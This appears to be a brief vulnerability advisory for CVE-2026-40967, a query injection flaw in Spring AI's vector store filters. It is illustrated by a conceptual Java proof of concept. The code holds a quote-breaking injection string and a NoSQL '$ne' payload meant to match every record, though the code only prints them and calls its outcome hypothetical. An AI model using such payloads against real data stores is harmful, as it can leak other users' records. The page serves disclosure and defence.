CVE-2026-40967 Spring AI查询注入漏洞

// POC Concept for CVE-2026-40967 // Demonstrates how unsanitized input can alter a vector store query. import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder; import org.springframework.ai.vectorstore.filter.Filter; public class CVE202640967PoC { public static void main(String[] args) { FilterExpressionBuilder builder = new FilterExpressionBuilder(); // Scenario: User input is taken directly to filter documents by 'author' String userInput = "admin'; /* Malicious injection */ return true; //"; // Vulnerable construction: The converter takes userInput as a literal value // but fails to escape quotes or special characters if the underlying query // language (e.g., a specific SQL-like or JSON-like vector dialect) interprets them. // If the filter is built like: builder.eq("author", userInput) // And the backend converts this to a string query without escaping: // Resulting Query (Hypothetical): { "author": "admin'; return true; //" } // In some contexts, this might break out of the value context and execute logic. System.out.println("Constructed Filter with User Input: " + userInput); // Actual exploitation depends on the specific VectorStore implementation (e.g., Pinecone, Milvus, Weaviate). // For a NoSQL-based store, injecting JSON keys might be possible: String jsonInjection = "{\"$ne\": null}"; // If the app constructs: FilterExpressionBuilder.in("metadata", jsonInjection) // And it is not escaped, the query might become: // { "metadata": { "$ne": null } } // This matches documents where metadata is not null, potentially leaking all records. } }